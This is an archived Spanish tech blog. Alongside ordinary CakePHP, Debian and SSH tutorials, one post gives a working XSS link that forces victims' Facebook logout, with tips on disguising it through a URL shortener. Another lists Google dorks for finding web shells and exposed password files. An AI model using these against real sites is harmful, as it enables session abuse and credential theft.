Rincón Informático

Un rincon para hablar sobre GNU/Linux, seguridad informatica, y mas!!

Archive for the ‘Manuales’ Category

Aplicaciones vulnerables a ataques XSS en Facebook

Posted by jhonber On julio - 26 - 2010

Por estos días aprovechando el tiempo libre, he estado investigando sobre los ataques  (Cross-site scripting) XSS en algunas aplicaciones sobre Facebook. En el blog Desvaríos informáticos en un post publicado hace más de un año hacen una demostración de como incrustar código javascript en una aplicación vulnerable, en el ejemplo al hacer click en un link se abre un alert donde nos muestra las cookies de la página, completamente inofensivo, pero que nos hace pensar en muchas cosas que se pueden hacer con esa información. Aquí esta dicho post  http://rooibo.wordpress.com/2009/04/28/agujero-de-seguridad-en-facebook/.

Con base en el ejemplo de Desvaríos informáticos he preparado una URL donde al hacer click en un link se cerrará la sesión del Facebook de la victima.

Hace menos de cuatro días la forma de cerrar nuestra sesión era haciendo click en un botón Salir con una Url mas o menos así:

http://www.facebook.com/logout.php?h=21ed5705a23da92010c2a3scebs3d&t=27955277&ref=mb

Es decir enviándole los parámetros h, t y ref a la página logout.php de esta forma se “garantizaría” que el usuario al cual pertenece la cookie h fue quien presionó el link de Salida, además evitando por ejemplo: si se redirecciona la victima al script http://www.facebook.com/logout.php no cerraría la sesión  del usuario ya que no tiene parametros validos.

Entonces para lograr nuestro propósito que es cerrar la sesión de la victima tendríamos que atravesar el Dom de la página coger ese link y redireccionar a ese link nuestra victima; hice varias bromas así :) pero luego me di cuenta que habían cambiado la forma de cerrar sesión :S ya no se utilizaba un link sino un formulario que al enviarse le pasa los parámetros de validación al script logout.php claro ya no con el método GET sino con POST. El form es algo como esto:

<form id=”logout_form” method=”post” action=”/logout.php”><input type=”hidden” autocomplete=”off” name=”post_form_id” value=”be875b2cfe5803f1bfc2bafed8c719ee”></input><input type=”hidden” name=”fb_dtsg” value=”CQKDv” autocomplete=”off”></input><input type=”hidden” autocomplete=”off” name=”ref” value=”mb”></input><input type=”hidden” autocomplete=”off” name=”h” value=”0779d7c779f7c29bd254ea9a61d2cd52″></input><label><input type=”submit” value=”Salir”></input></label></form>

Las variables que se le pasan al script son las que están en negrita.

Entonces para cerrar sesión solo hay que darle enviar al formulario y cómo hago eso?

document.getElementById(‘logout_form’).submit()

como vemos ubicamos el Elemento form através de su Id “logout_form” y simplemente le aplicamos el método submit() que equivale a dar click en el botón Salir.

Esta es la url completa donde creamos un link “Responder Quíz” y lo ubicamos en cierta parte de la aplicación cargada, cuando la victima de click en dicho link se ejecuta la línea de código anterior haciendo un logout :D

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:document.getElementById(‘logout_form’).submit();%22%3E%3Ch1%20style=%22margin:%2050px%2050px%2050px%2050px;color:blue;position:absolute;left:200px;%22%3E%20Responder%20Qu%C3%ADz%20%3C/h1%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%22

Para que no sea tan sospechoso semejante link, como ya había mencionado nuestro amigo @Epsilon en una publicación Aquí , podemos aprovechar los acortadores de Url’s; esto ya es menos sospechoso:

http://tinyurl.com/26hnrzl

Si usamos un poco nuestra imaginación nos daremos cuenta que hay muchísimas formas de aprovechar esta vulnerabilidad.

Bueno ya con esto creo que es suficiente y espero que se haya entendido, ya que más importante que aprender a usar algo es comprender como funciona y crear nuevas cosas a partir de ese conocimiento.

Hasta la próxima!

He querido compartir con ustedes este videotutorial que he creado, para mostrar una magnifica herramienta de CakePhp que se usa desde consola llamada Bake, y que nos facilita enormemente el desarrollo de nuestras aplicaciones con este framework.

En este videotutorial desarrollaremos una aplicación web, de forma muy rápida y lo mejor; y que aún me sorprende sin escribir ni una sola línea de código ;) . Bueno esto debido a que CakePhp se ha creado con los principios de Ruby On Rails.

Anteriormete había dedicado una entrada a la instalación de CakePhp acá.

Que necesitamos?

- Servidor web (Apache)

- Php5

- php5-cli

Para seguir este videotutorial es necesario tener algunos conceptos claros:

- Patrón de diseño MVC (Modelo – Vista – Controlador)

- Conceptos básicos sobre bases de datos

- Algunos comandos de Gnu/Linux

Formato .ogg – Tamaño (109.84 MB) – Descargar

Saludos! Hasta la próxima.

Quiero compartir con ustedes estos libros que seguramente a quienes les interesa el Desarrollo sobre la web, les será de gran utilidad.

Podemos acceder a dichos libros Online o también los podemos descargar en formato pdf. El material está bajo la licencia Creative Commons. (Idioma Español)

Pagina principal: www.librosweb.es

Descarga directa:
- Introducción a AJAX -> acá

- Introducción a JavaScript -> acá

- Introducción a CSS -> acá

- CSS avanzado -> acá

- Introducción a XHTML -> acá

Symfony, la guía definitiva:

- Symfony 1.0, la guía definitiva -> acá

- Symfony 1.1, la guía definitiva -> acá

- Symfony 1.2, la guía definitiva -> acá

- El tutorial Jobeet de symfony 1.2 -> acá

- El tutorial Jobeet de symfony 1.3 -> acá

Bueno espero que les sea de gran ayuda a todos, nunca esta demás tener un libro a la mano cuando estemos en problemas :D . Hasta la próxima!!

Optimizar el arranque en Debian/Squeeze

Posted by fortress On marzo - 9 - 2010

Cuando instalamos por primera vez en un computador portátil o en cualquier otro tipo de computador nuestro Debian/Squeeze se hace casi que necesario empezar a personalizarlo y eso incluye que nuestro computador arranque de una manera más eficiente y más rápida, para esto. Navegando por la web de esdebian.org me he encontrado con este tutorial que nos dice lo que debemos hacer para lograr este cometido, quise compartirlo con ustedes,  el tutorial es muy sencillo, aunque en la pagina hablan de que es para Debian/lenny yo lo he probado en Debian/Squeeze y funciona muy bien logró arrancar mi sistema en 23 segundos ya ustedes tomarán la decisión de seguir el tutorial o no. Así que no más carreta y manos a la obra.

Paralelismo en los scripts de init.d

Nota: Esta opción sólo proporciona una mejora notable en procesadores de más de un núcleo

Cuando arrancas algún sistema Debian este busca en /etc/init.d/rc para ejecutar los servicios que hayas configurado.

El problema es que no es muy efectivo que se ejecuten uno por uno. Por ejemplo, si tienes un servicio dhcp que tiene que esperar a que se te asigne una IP, retrasaría todo el proceso.

Pero hay que tener cuidado ya que muchos servicios dependen de otros para arrancar, entonces necesitamos un script que organice el arranque para que se puedan iniciar procesos en paralelo. Dicho script se consigue instalando el paquete insserv:

Atención: Este script modifica automáticamente el sistema de arranque de Debian, úsalo bajo tu propia responsabilidad.
#-get install insserv
#dpkg-reconfigure insserv

Por último queda decirle al script rcS que utilice esta opción:
CONCURRENCY=startpar >> /etc/default/rcS

Quitar servicios innecesarios

Suena lógico que, si no usas compartición de archivos, o que si tu máquina no tiene bluetooth, quites esos servicios. ¿Pero cómo hacerlo? En Debian hay dos maneras uno ir a /etc/init.d/ y quitas los permisos de ejecución a los scripts de servicios que consideres innecesarios:

#chmod -X nombre-del-servicio

Obviamente debes estar trabajando en el mismo directorio donde esta el servicio.
Ahora la otra manera es con la herramienta Smart Boot Manager, se instala
#-get install bum

La ejecutas y tendrás una GUI muy linda para configurar los servicios de arranque incluso, en la mayoría de los casos, te explica para qué sirve cada servicio.

Readahead

Usar Readahead es un herramienta que guarda un registro de ciertos archivos del proceso de arranque de forma que cuando se inicie Debian, el sistema leerá sólo el registro y no buscará los archivos, obteniendo una ligera reducción del tiempo de carga.
#-get install readahead
#touch /etc/readahead/profile-once

Con ello instalas readahead, lo segundo es para crear un perfil (profile) optimizado del proceso de arranque de nuestra máquina y servicios

Después de todo este relajo reinicias y no te asustes la primera vez que reinicies durará más de lo normal porque readahead está creando el perfil (profile). Luego de esto vuelve a reiniciar una vez más y verás cómo el proceso de arranque se reduce.

Bueno eso es lo que quería compartir con ustedes espero y les sea de utilidad, hasta la próxima.

Fuente

[Desarrollo Web] Videotutoriales Php y Mysql

Posted by jhonber On marzo - 8 - 2010

Hace un tiempo tenía planeado hacer un curso de Php, para todos los lectores de RINCON INFORMATICO, pero por cuestiones de disponibilidad de tiempo, no lo pude llevar a cabo; A demás en la web hay Tutoriales muy buenos y en esta oportunidad les voy a recomendar una serie de video tutoriales sobre Php y Mysql, los cuales me han sido de gran ayuda.

El sitio es un verdadero Centro De Enseñanza Virtual www.illasaron.com Aprovecho para darle las gracias la Maestro Jesus Conde, por tan buena labor -> http://twitter.com/0utKast.

Hay una gran cantidad de video tutoriales como:

Desarrollo web

- PHP-MYSQL

- ACTIONSCRIPT

- Curso PHP-Nuke completo

- CURSO COMPLETO XHTML

- CURSO DE AJAX

- CURSO CSS

- Curso Completo Drupal Fundamentales

- Curso Completo de JQuery

- Curso de Joomla por Roosvelt

También hay otros recursos como:

VTs. MUNDO LINUX, VTs. OPENOFFICE, CURSO DE JAVA, Curso C++, UBUNTU ES PARA TODOS, UBUNTU SERVIDORES, etc.

En fin no podría mencionarlos a todos, pero son muchísimos y cada cual buscará los video tutoriales de su interés.

Cómo acceder a los video tutoriales?

- Se requiere crear una cuenta de usuario aquí

- Una vez registrados vamos al menú donde dice “Descarga Videos”

- Acá aparece otro menú “Categorías”  con las siguientes opciones:

01.- VIDEOTUTORIALES
Pulsa para acceder a una lista de todos los videotutoriales que se encuentran actualmente para descarga directa en la web.
02.-FREEWARE
Pulsa para una lista de programas, utilidades y recursos gratuitos y de calidad en descarga directa en la Web.
03.-RECURSOS WEB
Pulsa para una lista completa de los distintos recursos web que se encuentran en descarga directa en la Web.
04.-CURSOS COMPLETOS
Pulsa para acceder a una lista de todos los cursos completos que se encuentran en descarga directa en la web.
El curso de PHP y Mysql se encuentra en “04.-CURSOS COMPLETOS”.
Espero que aprovechen mucho este excelente sitio, para avanzar en sus estudios. Hasta la próxima!!

Nmap CheatSheet

Posted by fortress On febrero - 21 - 2010

Bueno en esta oportunidad quiero compartir con ustedes esta cheatsheet de Nmap que fue creado por la gente de securitybydefault.

Para los que no saben que es Nmap aquí le dejo una definicion de la wikipedia Nmap es un programa de código abierto  que sirve para efectuar rastreo de puertos. Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.”

nmap Nmap CheatSheet

Espero y les sea de gran utilidad.

CheatSheet –> Aquí

Fuente –> Aquí

Como instalar CakePhp en Debian

Posted by jhonber On febrero - 17 - 2010

Wikipedia:

CakePhp es un framework de desarrollo de aplicaciones web escrito en PHP, creado sobre los conceptos de Ruby on Rails.

cakephp Como instalar CakePhp en Debian

Para más información -> página oficial http://cakephp.org/

Lo primero que necesitamos es una versión de CakePhp Descargar.

Nota: Necesitamos un Servidor Apache.

Una vez descargado y descomprimido el archivo, nos quedará una carpeta con un nombre como este: cake_1.X.X  por facilidad es mejor cambiarle el nombre, podríamos colocarle “cake”.

Debemos copiar la carpeta completa en  /var/www

Ahora probamos en el navegador:

http://localhost/cake

Si nos sale algo como esto:

cake3g Como instalar CakePhp en Debian

Significa que no esta debidamente configurado el Servidor Apache.

Configurando el apache

Habilitamos el modulo rewrite.

#  a2enmod  rewrite

Modificamos el archivo   /etc/apache2/sites-available/default

# vim  /etc/apache2/sites-available/default

Buscamos estas líneas:

Options Indexes FollowSymLinks MultiViews

AllowOverride None

Order allow,deny

allow from all

Y cambiamos None por All, quedando así:

Options Indexes FollowSymLinks MultiViews

AllowOverride All

Order allow,deny

allow from all

Por último reiniciamos el Apache

#  /etc/init.d/apache2  restart

Probamos de nuevo en el navegador, y nos debe salir algo como esto (con colores):

cake4d Como instalar CakePhp en Debian

Ya podemos empezar a cocinar nuestras recetas :D !!.

Algunas personas se pueden estar preguntando como se puede configurar CakePhp para ser accedido desde el directorio public_html. Esto se logra indicándole a CakePhp la ruta para que pueda ser visible desde dicho directorio:

Agregamos esta línea  RewriteBase  /~user_dir/cake_install/ en  cake/.htaccess  y también en cake/app/webroot/.htaccess:

user_dir = Directorio personal.

cake_install = Nombre de la carpeta que contiene CakePhp.

#  vim  cake/.htaccess

RewriteEngine on

RewriteBase  /~user_dir/cake_install/

RewriteRule ^$ app/webroot/ [L]

RewriteRule (.*) app/webroot/$1 [L]

# vim cake/app/webroot/.htaccess

RewriteEngine On

RewriteBase /~user_dir/cake_install/

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_FILENAME} !-f

RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]

Colocamos en el navegador:

http://localhost/~usuario/cake

Ahora si a cocinar!! Hasta la próxima.

Instalación y configuración de un servidor ssh en Debian

Posted by fortress On febrero - 14 - 2010

Una de las herramientas indispensables para administrar los servidores es a través de SSH (Secure SHell). Pero antes, un poco de teoría.

Definición

“SSH (Secure SHell) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red. Permite manejar por completo la maquina mediante un intérprete de comandos, y también puede redirigir el tráfico de X para poder ejecutar programas gráficos si tenemos un Servidor X (en sistemas Unix y Windows) corriendo.

Además de la conexión a otros dispositivos, SSH nos permite copiar datos de forma segura (tanto ficheros sueltos como simular sesiones FTP cifradas), gestionar claves RSA para no escribir claves al conectar a los dispositivos y pasar los datos de cualquier otra aplicación por un canal seguro tunelizado mediante SSH” (Wikipedia).

Funcionamiento

El cliente inicia la conexión hacia un puerto predeterminado del servidor, en este caso el puerto reservado número 22. Establecida la conexión TCP los extremos se envían, en texto plano, sus identificadores de versión, para ver si la comunicación es posible entre ellos. De ser compatibles entre sí cambian a un modo de binaria durante el cual se identifican los interlocutores y se negocian los protocolos de cifrado y firma que se usarán.

Esta negociación de protocolos se lleva a cabo de tal manera que la información intercambiada entre cliente y servidor sólo puede ser descifrada por el destinatario legítimo de la misma, y sólo por él. Para ello al principio de esta fase el servidor envía al cliente su clave pública, para que el cliente la use para cifrar todos los mensajes siguientes hacia el servidor, haciéndolos sólo legibles para el propio servidor. Entonces el cliente genera una clave de cifrado para la sesión en curso, que envía cifrada al servidor junto con el algoritmo seleccionado, y a partir de este momento todo el tráfico entre cliente y servidor viaja cifrado y seguro.

Llegados a este punto el cliente y el servidor se han puesto de acuerdo en un cierto algoritmo de cifrado, han acordado una clave para su sesión, y el servidor se ha identificado ante el cliente con su clave pública RSA (u opcionalmente DSA, en la versión 2 del protocolo). Pero aún falta que el cliente se identifique ante el servidor, que deberá decidir entonces si deja o no acceder al cliente remoto. La identificación del cliente podrá ser mediante pareja de usuario y contraseña, rhost, rhost más identificación de máquina mediante clave RSA o simplemente mediante claves RSA o DSA.

De todos los mecanismos sólo nos interesan el primero y el último. En el primero, el servidor nos dará acceso siempre y cuando la pareja de usuario y contraseña introducida por el cliente sean los de un usuario válido en el sistema operativo del servidor, salvo restricciones adicionales. En la identificación por claves el cliente dispone, al igual que el servidor, de su propia pareja de claves, que envía al servidor durante la identificación. Si el servidor confía en el usuario cuya clave ha recibido, entonces le dará permiso de acceso.

A grandes rasgos el mecanismo de conexión y de identificación del protocolo SSH es sencillo, aunque conviene destacar un par de aspectos relevantes de cara al uso y configuración de los programas relacionados:

  • Las conexiones las inicia siempre el cliente hacia el puerto TCP número 22 del servidor.
  • Las versiones de los protocolos soportados por cliente y servidor deben coincidir, o la conexión no se llevará a cabo.
  • El servidor siempre necesita disponer de una pareja de claves, puesto que usa la clave pública para establecer la conexión segura con el cliente. El tipo de clave tiene que estar soportado en el cliente.
  • El cliente y el servidor deben tener algún algoritmo de cifrado en común, o la conexión no se establecerá.
  • Dependiendo de los mecanismos de identificación soportados por ambas partes, o exigidos por el servidor, la identificación podrá o no fallar.
  • Aún cuando haya un mecanismo de identificación soportado por ambas partes, el cliente deberá proporcionar credenciales válidas al servidor, bien sea una pareja de usuario y contraseña, bien una clave pública.

Al margen de todo lo anterior, el servidor del protocolo SSH, sshd podrá implementar restricciones adicionales de acceso, así como el propio sistema operativo donde ejecuta. Por ejemplo, no es infrecuente que sshd esté compilado con soporte de TCP-wrappers, que esté configurado para aceptar o rechazar el acceso a determinados usuarios o máquinas cliente, o simplemente que algún firewall intermedio no permita establecer la conexión.

Instalación y configuración inicial

1.-Abrir una terminal como root y escribir:

# install openssh-server

2.-Cuando se termina de instalar viene con una configuración por default que debemos cambiar para tener una mejor seguridad para esto nos vamos al archivo /etc/ssh/sshd_config

# Vim /etc/ssh/sshd_config

El archivo es algo extenso solo se mencionaran las secciones que son de gran importancia:

El servicio SSH por default trabaja sobre el puerto 22 pero se puede cambiar:

Port 22 ## PUERTO POR DEFAULT

El parámetro ListenAddress especifica las direcciones de las interfaces de donde se van a recibir peticiones OJO con esta sección si vamos a accesar desde una red externa como la casa entonces dejarlo como esta sino pues hay que especificar la red:

ListenAddress 0.0.0.0 ## IP por Default para acceder desde cualquier red

Esta es la sección critica a mi manera de ver porque indicamos si el usuario ROOT puede acceder vía ssh yo en lo personal lo deshabilito y entro con un usuario del sistema diferente a root

PermitRootLogin no

También podemos especificar si se va a ejecutar aplicaciones graficas mediante SSH por ejemplo podemos usar VLC a través de SSH por si no son muy dados a usar comandos yo lo dejo como esta:

X11Forwarding no

Otra opción es permitir el acceso a ciertos usuarios de la siguiente manera:

AllowUsers tusuario, miotrousuario, uncolado

En fin son muchas las opciones que trae el archivo seria bueno que le echaran un vistazo y modifiquen lo que mejor crean ustedes que es para su servidor pero siempre pensando en la seguridad y los riesgos que conlleva hacer una mala configuración.

Por último reiniciamos el servicio:

# /etc/init.d/ssh restart

NOTA: Si están detrás de un firewall tienen que abrir el puerto que han especificado pero si están en DMZ pues les recomiendo que pongan reglas IPTABLE por seguridad.

Ahora a hacer un test desde un cliente usando el terminal:

# Ssh usuario@midominio

Cuando se logueen verán lo siguiente:

Cuando se loguea

También se pueden conectar desde un Windows utilizando la herramienta Putty

Loguearse usando Putty

Mas info sobre configuración: Aquí

Fuente: Aquí

Descargar el Putty: Aqui

Google dorks: Hacking usando Google

Posted by fortress On febrero - 12 - 2010

Podríamos definir Google Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Advertencias, estos datos solo se proveen con fines educativos, el mal uso de los mismos es pura responsabilidad de cada uno.

Vamos con unos ejemplos

Dorks para búsqueda de shells

safe-mode: off (not secure) drwxrwxrwx c99shell
inurl:c99.php
inurl:c99.php uid=0(root)
root c99.php
“Captain Crunch Security Team” inurl:c99
download c99.php
download c99.php
download c99.php
inurl:c99.php
inurl:c99.php
allinurl: c99.php
inurl:c99.php
allinurl: c99.php
inurl:”/c99.php”
allinurl: c99.php
inurl:c99.php
inurl:”c99.php” c99shell
inurl:c99.php uid=0(root)
c99shell powered by admin
c99shell powered by admin
inurl:”/c99.php”
inurl:c99.php
inurl:c99.php
inurl:c99.php

Dorks para hacking de contraseñas

Filetype: htpasswd htpasswd

Intitle:”Index of” “.htpasswd” -intitle:”dist” -apache -htpasswd.c

index.of.private (algo privado)

Intitle:index.of master.passwd

inurlasslist.txt (Para encontrar listas de passwords)

intitle:”Index of..etc” passwd

intitle:admin intitle:login

Incorrect syntax near” ( script error)

intitle:”the page cannot be found” inetmgr (debilidad en IIS4)

intitle:index.of ws_ftp.ini

A supplied argument is not a valid PostgreSQL result” (possible debilidad )

_vti_pvt password intitle:index.of (Frontpage)

inurl:backup intitle:index.of inurl:admin

Index of /backup”

index.of.password

index.of.winnt

En este archivo podrás encontrar más ejemplos de google dorks: Dorks

En esta web podrás encontrar más recursos –> AQUI

Fuente